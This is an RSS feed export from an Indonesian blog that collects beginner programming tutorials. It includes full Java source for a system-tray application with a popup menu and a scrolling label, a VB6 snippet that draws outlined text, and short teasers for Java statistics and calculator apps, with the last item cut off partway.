<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-1475036015484717232</atom:id><lastBuildDate>Wed, 28 Aug 2024 09:08:44 +0000</lastBuildDate><category>Visual Basic</category><category>Java</category><category>Delphi</category><category>C#</category><category>PHP</category><category>MySQL</category><category>Review</category><category>ASP.NET</category><category>C</category><category>Algoritma</category><category>Gambas</category><category>Intro</category><category>Javascript</category><category>Linux</category><category>Pascal</category><category>Tutorial</category><title>Indo programmer n source code</title><description>Kumpulan Source Code serta Tutorial dari para Programmer Indonesia.</description><link>http://indoprogrammer.blogspot.com/</link><managingEditor>noreply@blogger.com (Unknown)</managingEditor><generator>Blogger</generator><openSearch:totalResults>54</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-6863431355763086273</guid><pubDate>Sun, 21 Jun 2009 02:24:00 +0000</pubDate><atom:updated>2009-06-21T09:24:09.896+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Java</category><title>Membuat Aplikasi SystemTray dengan java</title><description>&lt;h5 align=&quot;left&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL8RcHVnxslIO4T_nnKguVamdFp5oOzL9ITgM_dpRc2u1RNOcO7vseWl9voViEb28rUNU2JrMQyo5xHjWKzQgIycPC5rGZX8y8fIN_hX4Wt6tORcFIYcQI2Z4PM_Xk9FNHQKhUyQM9pW4/s1600-h/tray+icon2.jpg&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL8RcHVnxslIO4T_nnKguVamdFp5oOzL9ITgM_dpRc2u1RNOcO7vseWl9voViEb28rUNU2JrMQyo5xHjWKzQgIycPC5rGZX8y8fIN_hX4Wt6tORcFIYcQI2Z4PM_Xk9FNHQKhUyQM9pW4/s320/tray+icon2.jpg&quot; /&gt;&lt;/a&gt;&lt;/h5&gt;  &lt;h5 align=&quot;left&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9UEKpuzJiHIllDrg8LxS7HEwxMr4YF3055dlXw913IDry2T9tj6NUsGbORaj9Nc4r_oF6pnkZqNnKEa42hFc47LUzCoS_Rzh-9x0Lqv_NOTDHJe__4JoTiHdnhtVFM0vGgqUWxR4ixdE/s1600-h/tray+icon.jpg&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9UEKpuzJiHIllDrg8LxS7HEwxMr4YF3055dlXw913IDry2T9tj6NUsGbORaj9Nc4r_oF6pnkZqNnKEa42hFc47LUzCoS_Rzh-9x0Lqv_NOTDHJe__4JoTiHdnhtVFM0vGgqUWxR4ixdE/s320/tray+icon.jpg&quot; /&gt;&lt;/a&gt;&lt;/h5&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;h5 align=&quot;left&quot;&gt;   &lt;br /&gt;untuk membuat SystemTray seperti gambar diatas ternyata tidak sesulit yang saya kira.     &lt;br /&gt;berikut source code beserta penjelasanya.     &lt;br /&gt;&lt;a href=&quot;http://www.ziddu.com/download/4809967/CobaCoba.rar.html&quot;&gt;Dowload project&lt;/a&gt;     &lt;br /&gt;/*     &lt;br /&gt;* Program ini dibuat oleh Rachmad Hadi Wijoyo     &lt;br /&gt;* anda boleh mengunakan dan mendistribusikan dengan bebas     &lt;br /&gt;* asalkan tidak mengubah license ini.     &lt;br /&gt;* copyright by Rachmad Hadi Wijoyo     &lt;br /&gt;*/     &lt;br /&gt;package cobacoba;     &lt;br /&gt;/**     &lt;br /&gt;*     &lt;br /&gt;* @author rahw     &lt;br /&gt;*/     &lt;br /&gt;import java.awt.*;     &lt;br /&gt;import java.awt.event.*;     &lt;br /&gt;import java.net.URL;     &lt;br /&gt;import javax.swing.*;     &lt;br /&gt;public class RTray {     &lt;br /&gt;public static void main(String[] args) {     &lt;br /&gt;/* Set Look and Feel yang kita guanakan*/     &lt;br /&gt;try {     &lt;br /&gt;UIManager.setLookAndFeel(&amp;quot;com.sun.java.swing.plaf.windows.WindowsLookAndFeel&amp;quot;);     &lt;br /&gt;//UIManager.setLookAndFeel(&amp;quot;javax.swing.plaf.metal.MetalLookAndFeel&amp;quot;);     &lt;br /&gt;} catch (UnsupportedLookAndFeelException ex) {     &lt;br /&gt;ex.printStackTrace();     &lt;br /&gt;} catch (IllegalAccessException ex) {     &lt;br /&gt;ex.printStackTrace();     &lt;br /&gt;} catch (InstantiationException ex) {     &lt;br /&gt;ex.printStackTrace();     &lt;br /&gt;} catch (ClassNotFoundException ex) {     &lt;br /&gt;ex.printStackTrace();     &lt;br /&gt;}     &lt;br /&gt;/* mematikan evek metal look and feel */     &lt;br /&gt;UIManager.put(&amp;quot;swing.boldMetal&amp;quot;, Boolean.FALSE);     &lt;br /&gt;//Menjadwal event-dispatching thread:     &lt;br /&gt;//Memasang TrayIcon.     &lt;br /&gt;SwingUtilities.invokeLater(new Runnable() {     &lt;br /&gt;public void run() {     &lt;br /&gt;createAndShowGUI();     &lt;br /&gt;new tesSystemTray().setVisible(true);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;}     &lt;br /&gt;private static void createAndShowGUI() {     &lt;br /&gt;//Untuk memeriksa apakah sistem mendukung SystemTray     &lt;br /&gt;if (!SystemTray.isSupported()) {     &lt;br /&gt;System.out.println(&amp;quot;Tidak mendukung SystemTray &amp;quot;);     &lt;br /&gt;return;     &lt;br /&gt;}     &lt;br /&gt;final PopupMenu popup = new PopupMenu();     &lt;br /&gt;final TrayIcon trayIcon =     &lt;br /&gt;new TrayIcon(createImage(&amp;quot;/cobacoba/administrator_128.png&amp;quot;, &amp;quot;tray icon&amp;quot;));     &lt;br /&gt;final SystemTray tray = SystemTray.getSystemTray();     &lt;br /&gt;// membuat popup menu components     &lt;br /&gt;MenuItem aboutItem = new MenuItem(&amp;quot;Tentang&amp;quot;);     &lt;br /&gt;CheckboxMenuItem cb2 = new CheckboxMenuItem(&amp;quot;Set tooltip&amp;quot;);     &lt;br /&gt;MenuItem exitItem = new MenuItem(&amp;quot;Exit&amp;quot;);     &lt;br /&gt;//Add components to popup menu     &lt;br /&gt;popup.add(aboutItem);     &lt;br /&gt;popup.addSeparator();     &lt;br /&gt;popup.add(cb2);     &lt;br /&gt;popup.addSeparator();     &lt;br /&gt;popup.add(exitItem);     &lt;br /&gt;trayIcon.setPopupMenu(popup);     &lt;br /&gt;try {     &lt;br /&gt;tray.add(trayIcon);     &lt;br /&gt;trayIcon.setImageAutoSize(true);     &lt;br /&gt;} catch (AWTException e) {     &lt;br /&gt;System.out.println(&amp;quot;TrayIcon tidak dapat dipasang.&amp;quot;);     &lt;br /&gt;return;     &lt;br /&gt;}     &lt;br /&gt;trayIcon.addActionListener(new ActionListener() {     &lt;br /&gt;public void actionPerformed(ActionEvent e) {     &lt;br /&gt;new tesSystemTray().setVisible(true);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;aboutItem.addActionListener(new ActionListener() {     &lt;br /&gt;public void actionPerformed(ActionEvent e) {     &lt;br /&gt;JOptionPane.showMessageDialog(null,     &lt;br /&gt;&amp;quot;Pesan ini dijalankan dari System Tray\n&amp;quot;+     &lt;br /&gt;&amp;quot;Program ini dibuat oleh Rachmad Hadi Wijoyo\n&amp;quot;+     &lt;br /&gt;&amp;quot;anda boleh mengunakan dan mendistribusikan dengan bebas\n&amp;quot;+     &lt;br /&gt;&amp;quot;asalkan tidak mengubah license ini.\n&amp;quot;+     &lt;br /&gt;&amp;quot;copyright by Rachmad Hadi Wijoyo \n&amp;quot;     &lt;br /&gt;);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;cb2.addItemListener(new ItemListener() {     &lt;br /&gt;public void itemStateChanged(ItemEvent e) {     &lt;br /&gt;int cb2Id = e.getStateChange();     &lt;br /&gt;if (cb2Id == ItemEvent.SELECTED){     &lt;br /&gt;trayIcon.setToolTip(&amp;quot;Sun TrayIcon&amp;quot;);     &lt;br /&gt;} else {     &lt;br /&gt;trayIcon.setToolTip(null);     &lt;br /&gt;}     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;exitItem.addActionListener(new ActionListener() {     &lt;br /&gt;public void actionPerformed(ActionEvent e) {     &lt;br /&gt;tray.remove(trayIcon);     &lt;br /&gt;System.exit(0);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;}     &lt;br /&gt;//Obtain the image URL     &lt;br /&gt;protected static Image createImage(String path, String description) {     &lt;br /&gt;URL imageURL = RTray.class.getResource(path);     &lt;br /&gt;if (imageURL == null) {     &lt;br /&gt;System.err.println(&amp;quot;Gambar tidak ditemukan di: &amp;quot; + path);     &lt;br /&gt;return null;     &lt;br /&gt;} else {     &lt;br /&gt;return (new ImageIcon(imageURL, description)).getImage();     &lt;br /&gt;}     &lt;br /&gt;}     &lt;br /&gt;}     &lt;br /&gt;___________     &lt;br /&gt;/*     &lt;br /&gt;* Program ini dibuat oleh Rachmad Hadi Wijoyo     &lt;br /&gt;* anda boleh mengunakan dan mendistribusikan dengan bebas     &lt;br /&gt;* asalkan tidak mengubah license ini.     &lt;br /&gt;* copyright by Rachmad Hadi Wijoyo     &lt;br /&gt;* anda boleh mengunakan dan mendistribusikan dengan bebas     &lt;br /&gt;*/     &lt;br /&gt;/*     &lt;br /&gt;* tesSystemTray.java     &lt;br /&gt;*     &lt;br /&gt;* Created on May 19, 2009, 11:05:11 AM     &lt;br /&gt;*/     &lt;br /&gt;package cobacoba;     &lt;br /&gt;import java.awt.event.ActionEvent;     &lt;br /&gt;import java.awt.event.ActionListener;     &lt;br /&gt;import javax.swing.JFrame;     &lt;br /&gt;import javax.swing.Timer;     &lt;br /&gt;/**     &lt;br /&gt;*     &lt;br /&gt;* @author rahw     &lt;br /&gt;*/     &lt;br /&gt;public class tesSystemTray extends javax.swing.JFrame {     &lt;br /&gt;/** Creates new form tesSystemTray */     &lt;br /&gt;public tesSystemTray() {     &lt;br /&gt;initComponents();     &lt;br /&gt;timerx.start();     &lt;br /&gt;}     &lt;br /&gt;/** This method is called from within the constructor to     &lt;br /&gt;* initialize the form.     &lt;br /&gt;* WARNING: Do NOT modify this code. The content of this method is     &lt;br /&gt;* always regenerated by the Form Editor.     &lt;br /&gt;*/     &lt;br /&gt;@SuppressWarnings(&amp;quot;unchecked&amp;quot;)     &lt;br /&gt;// //GEN-BEGIN:initComponents     &lt;br /&gt;private void initComponents() {     &lt;br /&gt;jPanel1 = new javax.swing.JPanel();     &lt;br /&gt;jButton1 = new javax.swing.JButton();     &lt;br /&gt;jButton2 = new javax.swing.JButton();     &lt;br /&gt;jLabel1 = new javax.swing.JLabel();     &lt;br /&gt;jLabel2 = new javax.swing.JLabel();     &lt;br /&gt;setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);     &lt;br /&gt;jPanel1.setBackground(new java.awt.Color(153, 153, 255));     &lt;br /&gt;jButton1.setText(&amp;quot;Sembunyi&amp;quot;);     &lt;br /&gt;jButton1.addActionListener(new java.awt.event.ActionListener() {     &lt;br /&gt;public void actionPerformed(java.awt.event.ActionEvent evt) {     &lt;br /&gt;jButton1ActionPerformed(evt);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;jButton2.setText(&amp;quot;Keluar&amp;quot;);     &lt;br /&gt;jButton2.addActionListener(new java.awt.event.ActionListener() {     &lt;br /&gt;public void actionPerformed(java.awt.event.ActionEvent evt) {     &lt;br /&gt;jButton2ActionPerformed(evt);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource(&amp;quot;/cobacoba/administrator_128.png&amp;quot;))); // NOI18N     &lt;br /&gt;jLabel1.addMouseListener(new java.awt.event.MouseAdapter() {     &lt;br /&gt;public void mouseEntered(java.awt.event.MouseEvent evt) {     &lt;br /&gt;jLabel1MouseEntered(evt);     &lt;br /&gt;}     &lt;br /&gt;public void mouseExited(java.awt.event.MouseEvent evt) {     &lt;br /&gt;jLabel1MouseExited(evt);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;jLabel2.setText(&amp;quot;copyright by Rachmad Hadi Wijoyo &amp;quot;);     &lt;br /&gt;javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);     &lt;br /&gt;jPanel1.setLayout(jPanel1Layout);     &lt;br /&gt;jPanel1Layout.setHorizontalGroup(     &lt;br /&gt;jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)     &lt;br /&gt;.addGroup(jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)     &lt;br /&gt;.addGroup(jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addGap(117, 117, 117)     &lt;br /&gt;.addComponent(jButton1)     &lt;br /&gt;.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)     &lt;br /&gt;.addComponent(jButton2, javax.swing.GroupLayout.PREFERRED_SIZE, 84, javax.swing.GroupLayout.PREFERRED_SIZE))     &lt;br /&gt;.addGroup(jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addGap(134, 134, 134)     &lt;br /&gt;.addComponent(jLabel1))     &lt;br /&gt;.addGroup(jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addContainerGap()     &lt;br /&gt;.addComponent(jLabel2)))     &lt;br /&gt;.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))     &lt;br /&gt;);     &lt;br /&gt;jPanel1Layout.setVerticalGroup(     &lt;br /&gt;jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)     &lt;br /&gt;.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addGap(27, 27, 27)     &lt;br /&gt;.addComponent(jLabel1)     &lt;br /&gt;.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 86, Short.MAX_VALUE)     &lt;br /&gt;.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)     &lt;br /&gt;.addComponent(jButton2)     &lt;br /&gt;.addComponent(jButton1))     &lt;br /&gt;.addGap(18, 18, 18)     &lt;br /&gt;.addComponent(jLabel2)     &lt;br /&gt;.addGap(4, 4, 4))     &lt;br /&gt;);     &lt;br /&gt;getContentPane().add(jPanel1, java.awt.BorderLayout.CENTER);     &lt;br /&gt;java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize();     &lt;br /&gt;setBounds((screenSize.width-408)/2, (screenSize.height-327)/2, 408, 327);     &lt;br /&gt;}// &amp;lt;/RAC3_HW@YAHOO.COM,&amp;gt;//GEN-END:initComponents     &lt;br /&gt;private void jLabel1MouseEntered(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jLabel1MouseEntered     &lt;br /&gt;// TODO add your handling code here:     &lt;br /&gt;jLabel1.setSize(jLabel1.getSize().width+20, jLabel1.getSize().height+20);     &lt;br /&gt;}//GEN-LAST:event_jLabel1MouseEntered     &lt;br /&gt;private void jLabel1MouseExited(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jLabel1MouseExited     &lt;br /&gt;// TODO add your handling code here:     &lt;br /&gt;jLabel1.setSize(jLabel1.getSize().width-20, jLabel1.getSize().height-20);     &lt;br /&gt;}//GEN-LAST:event_jLabel1MouseExited     &lt;br /&gt;private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed     &lt;br /&gt;// TODO add your handling code here:     &lt;br /&gt;dispose();     &lt;br /&gt;}//GEN-LAST:event_jButton1ActionPerformed     &lt;br /&gt;private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed     &lt;br /&gt;// TODO add your handling code here:     &lt;br /&gt;System.exit(0);     &lt;br /&gt;}//GEN-LAST:event_jButton2ActionPerformed     &lt;br /&gt;/**     &lt;br /&gt;* @param args the command line arguments     &lt;br /&gt;*/     &lt;br /&gt;public static void main(String args[]) {     &lt;br /&gt;java.awt.EventQueue.invokeLater(new Runnable() {     &lt;br /&gt;public void run() {     &lt;br /&gt;new tesSystemTray().setVisible(true);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;}     &lt;br /&gt;Timer timerx = new Timer(100, new ActionListener() {     &lt;br /&gt;public void actionPerformed(ActionEvent E) {     &lt;br /&gt;if (jLabel2.getLocation().x &amp;lt;= (-jPanel1.getWidth()-50)){ jLabel2.setLocation(jPanel1.getWidth(),jLabel2.getLocation().y ); jLabel2.setLocation(jLabel2.getLocation().x-10, jLabel2.getLocation().y); }else{ jLabel2.setLocation(jLabel2.getLocation().x-10, jLabel2.getLocation().y); } } }); // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton jButton1; private javax.swing.JButton jButton2; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JPanel jPanel1; // End of variables declaration//GEN-END:variables } &lt;/h5&gt;  &lt;h5 align=&quot;left&quot;&gt;&lt;a href=&quot;http://www.ziddu.com/download/4809967/CobaCoba.rar.html&quot;&gt;Download Project&lt;/a&gt;&lt;/h5&gt;  &lt;p align=&quot;left&quot;&gt;Source : &lt;a href=&quot;http://bosojava.blogspot.com/2009/05/membuat-aplikasi-systemtray-dengan-java.html&quot; target=&quot;_blank&quot;&gt;bosojava.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:d8c11f0d-5bc8-447c-88a8-59889773601d&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/Java&quot; rel=&quot;tag&quot;&gt;Java&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Source+Code&quot; rel=&quot;tag&quot;&gt;Source Code&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Systray&quot; rel=&quot;tag&quot;&gt;Systray&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2009/06/membuat-aplikasi-systemtray-dengan-java.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL8RcHVnxslIO4T_nnKguVamdFp5oOzL9ITgM_dpRc2u1RNOcO7vseWl9voViEb28rUNU2JrMQyo5xHjWKzQgIycPC5rGZX8y8fIN_hX4Wt6tORcFIYcQI2Z4PM_Xk9FNHQKhUyQM9pW4/s72-c/tray+icon2.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-1235205273884353354</guid><pubDate>Fri, 22 May 2009 03:33:00 +0000</pubDate><atom:updated>2009-05-22T10:52:57.004+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>Teks Tembus Pandang Menggunakan VB 6.0</title><description>&lt;p align=&quot;justify&quot;&gt;Kalau sebelumnya manusia biasa pernah membuat artikel tentang Teks Berjalan dan Kerlap Kerlip pada Visual Basic 6.0. Nah, sekarang manusia biasa akan membawa rekan-rekan sekalian untuk sedikit berkreasi dengan menggunakan visual basic lagi tentunya masih menggunakan visual basic 6.0.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Sekarang manusia biasa akan bagikan sedikit tips lagi kini kita akan membuat teks tersebut menjadi tembus pandang singkatnya teksnya akan transparant.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;langkah pertama yang harus rekan-rekan lakukan adalah   &lt;br /&gt;Buatlah sebuah project dengan standartd EXE.    &lt;br /&gt;kemudian buatlah satu buah picture terserah mo dinamai apa.... yang penting pake picture. ok...........    &lt;br /&gt;kalau sudah copy pastekan koding dibawah ini ke menu editor rekan2:    &lt;br /&gt;Private Sub Form_Load()    &lt;br /&gt;Const TXT = &amp;quot;Manusia Biasa&amp;quot;-----&amp;gt;&amp;gt;&amp;gt; bisa diganti dengan keinginan anda    &lt;br /&gt;Dim i As Long    &lt;br /&gt;Dim hRgn As Long    &lt;br /&gt;Picture1.AutoRedraw = True    &lt;br /&gt;&#39;huruf Sesuaikan dengan keinginan Anda...    &lt;br /&gt;Picture1.Font.Name = &amp;quot;Times new roman&amp;quot;    &lt;br /&gt;Picture1.Font.Bold = True    &lt;br /&gt;Picture1.Font.Size = 50    &lt;br /&gt;&#39;Buat ukuran Picture1 cukup besar    &lt;br /&gt;Picture1.Width = Picture1.TextWidth(TXT)    &lt;br /&gt;Picture1.Height = Picture1.TextHeight(TXT)    &lt;br /&gt;&#39;Untuk letak Picture1    &lt;br /&gt;BeginPath Picture1.hdc    &lt;br /&gt;Picture1.CurrentX = 0    &lt;br /&gt;Picture1.CurrentY = 0    &lt;br /&gt;Picture1.Print TXT    &lt;br /&gt;EndPath Picture1.hdc    &lt;br /&gt;&#39;Gambar teks...    &lt;br /&gt;StrokePath Picture1.hdc    &lt;br /&gt;End Sub    &lt;br /&gt;Mudah bukan?????? nah, kalau mau manthaffff lagi cari lagi deh kreasi lain lagi. Gak menutup kemungkinan coding diatas bisa lebih dikreasikan lagi.    &lt;br /&gt;Sekian artikel dari manusia biasa.    &lt;br /&gt;Keep Smile n&#39; Happy Blogging&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Source : &lt;a href=&quot;http://jenggotcommunity.blogspot.com/2009/05/teks-tembus-pandang-menggunakan-vb-60.html&quot; target=&quot;_blank&quot;&gt;jenggotcommunity.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:942754a8-766f-480b-993c-fe144e037cec&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/Visual+Basic&quot; rel=&quot;tag&quot;&gt;Visual Basic&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Teks&quot; rel=&quot;tag&quot;&gt;Teks&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Transparan&quot; rel=&quot;tag&quot;&gt;Transparan&lt;/a&gt;&lt;/div&gt;</description><link>http://indoprogrammer.blogspot.com/2009/05/teks-tembus-pandang-menggunakan-vb-60.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-8547581555054186181</guid><pubDate>Fri, 22 May 2009 03:29:00 +0000</pubDate><atom:updated>2009-05-22T10:29:55.271+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Java</category><title>Membuat Aplikasi Statistika Sederhana Menggunakan Java dan Netbeans</title><description>&lt;p align=&quot;justify&quot;&gt;Akhirnya bisa posting diblog lagi setelah sekian lama tenggelam ama kuliah dan UTS. &lt;img alt=&quot;:P&quot; src=&quot;http://syamsulbachri.co.cc/wp-includes/images/smilies/icon_razz.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Nah dipostingan kali ini saya bakalan ngebahas bagaimana membuat suatu aplikasi sederhana (ih, kenapa mesti pake sederhana, yang duluan Kalkulator juga pake sederhana) yang bisa menghitung nilai rataan,banyak dan jumlah data, menentukan nilai minimum dan maximum serta standar deviasinya. &lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;APlikasi ini saya namakan Simple Statistic Application (ah sama aja ma Program Kalkulator Sederhana cuma namanya doank yang beda coz pake bahasa Inggris. wuuh). Kalo sebelumnya saya membuat dalam bahasa C#.Net dan menggunakan MS Visual Studio, kali ini saya membuat menggunakan bahasa Java dengan bantuan Netbeans 6.5. Nih screen capture dari aplikasi yang saya buat.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;img title=&quot;ssa&quot; alt=&quot;Aplikasi Statistik Java&quot; src=&quot;http://syamsulbachri.co.cc/wp-content/uploads/ssa.jpg&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;img title=&quot;ssa&quot; alt=&quot;Contoh Aplikasi Java&quot; src=&quot;http://syamsulbachri.co.cc/wp-content/uploads/ssa-2.jpg&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Kamu juga bisa mengunduh source code dari aplikasi ini, &lt;a href=&quot;http://syamsulbachri.co.cc/wp-content/uploads/StatisticsApplicationBySyamsul.zip&quot;&gt;download di sini&lt;/a&gt;.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Untuk membuat aplikasi tersebut cukup mudah, apalagi dibantu menggunakan Netbeans.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Seperti yang saya bilang di atas, aplikasi ini mempunyai beberapa fungsi yaitu menghitung banyak dan jumlah data, rataan, nilai maksimum dan minimum serta standar deviasi. Data yang dapat dimasukan banyaknya tidak terbatas (pegel dah tuh tangan :P).&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Nah trus cara bikinnya gimana?? Tenang, saya akan bahas sedikit bagaimana cara pembuatannya.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Pertama, kamu siapkan “peralatan tempur” yang akan dipake yaitu sebuah komputer dengan JDK 1.6+ dan Netbeans 6+ yang sudah terinstal.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Lets start…&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Selengkapnya : &lt;a href=&quot;http://syamsulbachri.co.cc/2009/04/30/membuat-aplikasi-statistika-sederhana-menggunakan-java.html&quot; target=&quot;_blank&quot;&gt;syamsulbachri.co.cc&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:dc2a5347-2743-408c-bf86-231b5339f67f&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/Java&quot; rel=&quot;tag&quot;&gt;Java&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Statistika&quot; rel=&quot;tag&quot;&gt;Statistika&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Netbeans&quot; rel=&quot;tag&quot;&gt;Netbeans&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2009/05/membuat-aplikasi-statistika-sederhana.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-2658549124042680866</guid><pubDate>Fri, 22 May 2009 03:27:00 +0000</pubDate><atom:updated>2009-05-22T10:27:21.202+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Java</category><title>KALKULATOR SEDERHANA MENGGUNAKAN JAVA</title><description>&lt;p align=&quot;justify&quot;&gt;Bagi yang sedang mempelajari bahasa pemrograman, contoh kalkulator sederhana merupakan hal yang sudah biasa. Mengapa contoh tersebut sering ditugaskan oleh dosen ? ya, karena di sana ada penerapan input, pengulangan, output, dan juga penerapan pemrograman modular. &lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Contoh yang saya buat di bawah ini adalah kalkulator sederhana dengan menggunakan bahasa Java. Pada contoh tersebut terdapat beberapa method yang diperlukan untuk sebuah kalkulator, seperti penjumlahan, pengurangan, perkalian dan pembagian. Ok deh, selamat belajar.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;dt&gt;&lt;img style=&quot;display: block; float: none; margin-left: auto; margin-right: auto&quot; title=&quot;Kalkulator menggunakan java&quot; alt=&quot;Kalkulator menggunakan java&quot; src=&quot;http://risyana.files.wordpress.com/2009/04/untitled.jpg?w=330&amp;amp;h=490&quot; width=&quot;330&quot; height=&quot;490&quot; /&gt;&lt;/dt&gt;&lt;/p&gt;  &lt;p&gt;Selengkapnya : &lt;a href=&quot;http://risyana.wordpress.com&quot; target=&quot;_blank&quot;&gt;http://risyana.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:ae9c1721-90f0-45d6-8e29-6ffd2b6d1fb9&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/Kalkulator&quot; 